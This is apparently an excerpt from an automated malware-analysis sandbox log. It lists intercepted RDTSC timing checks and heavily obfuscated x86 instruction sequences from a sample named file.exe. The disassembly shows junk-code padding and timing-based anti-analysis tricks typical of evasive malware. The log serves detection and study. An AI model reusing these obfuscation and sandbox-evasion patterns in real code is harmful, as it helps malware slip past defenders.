Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406B2 second address: 4D406B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406B6 second address: 4D406E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FDDB4D5DBFEh 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406E3 second address: 4D406E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406E9 second address: 4D406F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4D5DBFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406F8 second address: 4D406FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406FC second address: 4D407AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDDB4D5DC04h 0x0000000e xchg eax, esi 0x0000000f jmp 00007FDDB4D5DC00h 0x00000014 lea eax, dword ptr [ebp-04h] 0x00000017 pushad 0x00000018 mov si, 4F7Dh 0x0000001c pushfd 0x0000001d jmp 00007FDDB4D5DBFAh 0x00000022 adc ch, 00000058h 0x00000025 jmp 00007FDDB4D5DBFBh 0x0000002a popfd 0x0000002b popad 0x0000002c nop 0x0000002d pushad 0x0000002e pushad 0x0000002f movzx ecx, bx 0x00000032 mov bx, BDD2h 0x00000036 popad 0x00000037 pushfd 0x00000038 jmp 00007FDDB4D5DC03h 0x0000003d and cx, D1CEh 0x00000042 jmp 00007FDDB4D5DC09h 0x00000047 popfd 0x00000048 popad 0x00000049 push eax 0x0000004a jmp 00007FDDB4D5DC01h 0x0000004f nop 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FDDB4D5DBFDh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D407AE second address: 4D407B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D407B4 second address: 4D407B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40012 second address: 4D40024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F2859Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40024 second address: 4D400DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DBFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FDDB4D5DC06h 0x00000011 push eax 0x00000012 jmp 00007FDDB4D5DBFBh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FDDB4D5DC06h 0x0000001d mov ebp, esp 0x0000001f jmp 00007FDDB4D5DC00h 0x00000024 push FFFFFFFEh 0x00000026 jmp 00007FDDB4D5DC00h 0x0000002b push 14F6A483h 0x00000030 jmp 00007FDDB4D5DC01h 0x00000035 xor dword ptr [esp], 615C3ACBh 0x0000003c pushad 0x0000003d jmp 00007FDDB4D5DBFCh 0x00000042 movzx ecx, dx 0x00000045 popad 0x00000046 push 3A55C1BCh 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FDDB4D5DC04h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D400DE second address: 4D400E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D400E2 second address: 4D400E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D400E8 second address: 4D400EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D400EE second address: 4D400F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D400F2 second address: 4D400F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D400F6 second address: 4D4011A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 3B4F69B4h 0x0000000f pushad 0x00000010 mov di, si 0x00000013 push eax 0x00000014 push ebx 0x00000015 pop ecx 0x00000016 pop ebx 0x00000017 popad 0x00000018 mov eax, dword ptr fs:[00000000h] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4011A second address: 4D4011E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4011E second address: 4D4012F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DBFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4012F second address: 4D40195 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b movzx esi, dx 0x0000000e mov si, dx 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 call 00007FDDB4F285A0h 0x00000019 pushfd 0x0000001a jmp 00007FDDB4F285A2h 0x0000001f add cx, C9B8h 0x00000024 jmp 00007FDDB4F2859Bh 0x00000029 popfd 0x0000002a pop eax 0x0000002b mov bh, E0h 0x0000002d popad 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov ebx, 2A911500h 0x00000037 mov di, 812Ch 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40195 second address: 4D4019B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4019B second address: 4D4019F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4019F second address: 4D401A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D401A3 second address: 4D401E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b pushad 0x0000000c call 00007FDDB4F285A6h 0x00000011 movzx ecx, bx 0x00000014 pop edi 0x00000015 popad 0x00000016 push edx 0x00000017 jmp 00007FDDB4F285A6h 0x0000001c mov dword ptr [esp], ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D401E9 second address: 4D40221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDDB4D5DC03h 0x0000000a or ax, 839Eh 0x0000000f jmp 00007FDDB4D5DC09h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40221 second address: 4D4024C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 4F7BFCB9h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FDDB4F285A4h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ax, BAE3h 0x00000019 mov ah, 22h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4024C second address: 4D402C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FDDB4D5DC04h 0x00000011 adc ax, 5258h 0x00000016 jmp 00007FDDB4D5DBFBh 0x0000001b popfd 0x0000001c push esi 0x0000001d pushfd 0x0000001e jmp 00007FDDB4D5DBFFh 0x00000023 sbb si, 391Eh 0x00000028 jmp 00007FDDB4D5DC09h 0x0000002d popfd 0x0000002e pop ecx 0x0000002f popad 0x00000030 push ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FDDB4D5DC03h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D402C5 second address: 4D402EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D402EB second address: 4D402EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D402EF second address: 4D402F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D402F5 second address: 4D40319 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, si 0x00000006 mov ebx, ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [75AB4538h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDDB4D5DC00h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40319 second address: 4D40328 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40328 second address: 4D4033D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 mov bx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [ebp-08h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4033D second address: 4D40341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40341 second address: 4D40347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40347 second address: 4D40360 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40360 second address: 4D40365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40365 second address: 4D403F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDDB4F285A2h 0x00000008 pop ecx 0x00000009 movsx edx, si 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 jmp 00007FDDB4F2859Ah 0x00000015 push eax 0x00000016 jmp 00007FDDB4F2859Bh 0x0000001b nop 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FDDB4F285A4h 0x00000023 and eax, 0DA25488h 0x00000029 jmp 00007FDDB4F2859Bh 0x0000002e popfd 0x0000002f jmp 00007FDDB4F285A8h 0x00000034 popad 0x00000035 lea eax, dword ptr [ebp-10h] 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FDDB4F285A7h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D403F6 second address: 4D4040E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4D5DC04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4040E second address: 4D4043C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDDB4F285A5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4043C second address: 4D40470 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-18h], esp 0x0000000c pushad 0x0000000d mov bx, ax 0x00000010 push eax 0x00000011 pop ebx 0x00000012 popad 0x00000013 mov eax, dword ptr fs:[00000018h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FDDB4D5DBFDh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40470 second address: 4D4049A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDDB4F2859Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4049A second address: 4D404AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4D5DBFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404AA second address: 4D404E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDDB4F285A8h 0x00000013 add al, 00000058h 0x00000016 jmp 00007FDDB4F2859Bh 0x0000001b popfd 0x0000001c mov eax, 2C6E790Fh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404E5 second address: 4D404EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404EA second address: 4D40500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FDDB4F285CDh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edi, ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40500 second address: 4D40505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40505 second address: 4D4050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30081 second address: 4D300B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDDB4D5DBFFh 0x00000009 jmp 00007FDDB4D5DC03h 0x0000000e popfd 0x0000000f mov bx, si 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 sub esp, 2Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D300B7 second address: 4D300BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D300BB second address: 4D300D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D300D2 second address: 4D300EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F285A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D300EA second address: 4D3013D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DBFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FDDB4D5DBFBh 0x00000014 pop ecx 0x00000015 pushfd 0x00000016 jmp 00007FDDB4D5DC09h 0x0000001b adc cx, 5F66h 0x00000020 jmp 00007FDDB4D5DC01h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3013D second address: 4D30161 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDB4F2859Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30161 second address: 4D30167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30167 second address: 4D3016B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3016B second address: 4D3018A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DBFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, 0Fh 0x00000011 mov ecx, 0A69D67Bh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3018A second address: 4D301E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FDDB4F2859Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ah, bl 0x00000013 pushfd 0x00000014 jmp 00007FDDB4F2859Ah 0x00000019 xor cx, BE28h 0x0000001e jmp 00007FDDB4F2859Bh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, edi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FDDB4F285A5h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3027A second address: 4D30280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30280 second address: 4D30284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30284 second address: 4D30312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FDDB4D5DC05h 0x00000011 sbb ah, 00000026h 0x00000014 jmp 00007FDDB4D5DC01h 0x00000019 popfd 0x0000001a pushad 0x0000001b mov dx, ax 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 popad 0x00000022 je 00007FDDB4D5DDA3h 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FDDB4D5DC04h 0x0000002f and esi, 3D77B9F8h 0x00000035 jmp 00007FDDB4D5DBFBh 0x0000003a popfd 0x0000003b mov edi, eax 0x0000003d popad 0x0000003e lea ecx, dword ptr [ebp-14h] 0x00000041 jmp 00007FDDB4D5DC02h 0x00000046 mov dword ptr [ebp-14h], edi 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c movzx esi, dx 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3036F second address: 4D30375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30375 second address: 4D3037B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3037B second address: 4D3037F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3037F second address: 4D3038F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3038F second address: 4D3039D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3039D second address: 4D303C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DBFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FDE25A8BCD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDDB4D5DC00h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D303C6 second address: 4D303D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D303D5 second address: 4D30468 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FDDB4D5DC73h 0x0000000f jmp 00007FDDB4D5DBFEh 0x00000014 cmp dword ptr [ebp-14h], edi 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FDDB4D5DBFEh 0x0000001e sbb ch, FFFFFFF8h 0x00000021 jmp 00007FDDB4D5DBFBh 0x00000026 popfd 0x00000027 call 00007FDDB4D5DC08h 0x0000002c jmp 00007FDDB4D5DC02h 0x00000031 pop eax 0x00000032 popad 0x00000033 jne 00007FDE25A8BC3Dh 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FDDB4D5DBFCh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30468 second address: 4D3049F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edx, 38EE0082h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebx, dword ptr [ebp+08h] 0x00000010 jmp 00007FDDB4F285A9h 0x00000015 lea eax, dword ptr [ebp-2Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d mov edi, 538D755Ch 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3049F second address: 4D304F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 mov dx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d jmp 00007FDDB4D5DC06h 0x00000012 push eax 0x00000013 pushad 0x00000014 mov dx, 9C54h 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a pushad 0x0000001b pushad 0x0000001c push ecx 0x0000001d pop ebx 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 jmp 00007FDDB4D5DBFCh 0x00000026 popad 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FDDB4D5DC07h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D304F8 second address: 4D30572 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDDB4F2859Ch 0x0000000f nop 0x00000010 jmp 00007FDDB4F285A0h 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 push esi 0x00000018 jmp 00007FDDB4F2859Dh 0x0000001d pop eax 0x0000001e pushfd 0x0000001f jmp 00007FDDB4F285A1h 0x00000024 sub si, C5E6h 0x00000029 jmp 00007FDDB4F285A1h 0x0000002e popfd 0x0000002f popad 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FDDB4F285A3h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30572 second address: 4D30576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30576 second address: 4D3057C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
